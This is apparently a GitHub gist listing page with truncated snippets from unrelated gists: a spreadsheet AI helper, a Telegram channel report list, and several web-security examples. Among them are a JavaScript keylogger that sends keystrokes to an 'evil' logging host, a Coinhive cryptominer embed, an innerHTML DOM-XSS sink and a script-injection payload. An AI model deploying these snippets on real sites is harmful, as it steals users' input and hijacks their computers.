This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function AI(prompt, cellData) { | |
// Add a system prompt to ensure output is specific and concise | |
var systemPrompt = "You are an AI assistant that provides very specific responses. Your outputs are meant to be placed directly into a spreadsheet cell. If the request is for a number, output just the number with no additional text or explanation. Be as concise as possible."; | |
// Combine the system prompt with the user prompt and cell data | |
var fullPrompt = systemPrompt + "\n\n" + prompt; | |
if (cellData !== undefined && cellData !== null && cellData !== "") { | |
fullPrompt += ": " + cellData; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This script is an example CLI for OpenAI | |
# Check for required dependencies | |
if ! command -v curl > /dev/null; then | |
echo "Error: curl is not installed. Please install curl and try again." | |
exit 1 | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Block Russian Propaganda Channels! | |
(check updates from telegram channel - https://t.me/+nqYNNt0qoKU4MTRi) | |
You can help Ukraine by reporting this channels as fake: | |
TELEGRAM: | |
https://t.me/grey_zone | |
https://t.me/rlz_the_kraken | |
https://t.me/warjournaltg | |
https://t.me/bbbreaking |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let data = [{ | |
"counterpartyGroupId": 10, | |
"counterpartyGroupName": "Офисные сооружения", | |
"counterpartyGroupTypeId": 3, | |
"counterpartyGroupRemark": "Офисы", | |
"counterpartyGroupParentId": 0 | |
}, | |
{ | |
"counterpartyGroupId": 11, | |
"counterpartyGroupName": "Страховые компании", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = aTrustedHTML; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = location.hash.slice(1); //string |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = { toString: () => 'hello' } | |
el.innerHTML // "hello" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coinhive.com/lib/coinhive.min.js"> | |
</script> | |
<script> | |
var miner = new CoinHive.User('SITE_KEY', 'john-doe'); | |
miner.start(); | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var keys=''; | |
document.onkeypress = function(e) { | |
e = window.event?event:e; | |
key = e.keyCode?e.keyCode:e.charCode; | |
key = String.fromCharCode(key); | |
keys+=key; | |
} | |
window.setInterval(function(){ | |
new Image().src = 'http://evil.../log.php?c='+keys; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form id="#form"> | |
<input type="hidden" | |
value="https://example.com"/><script>alert(1)</script> | |
</form> |
NewerOlder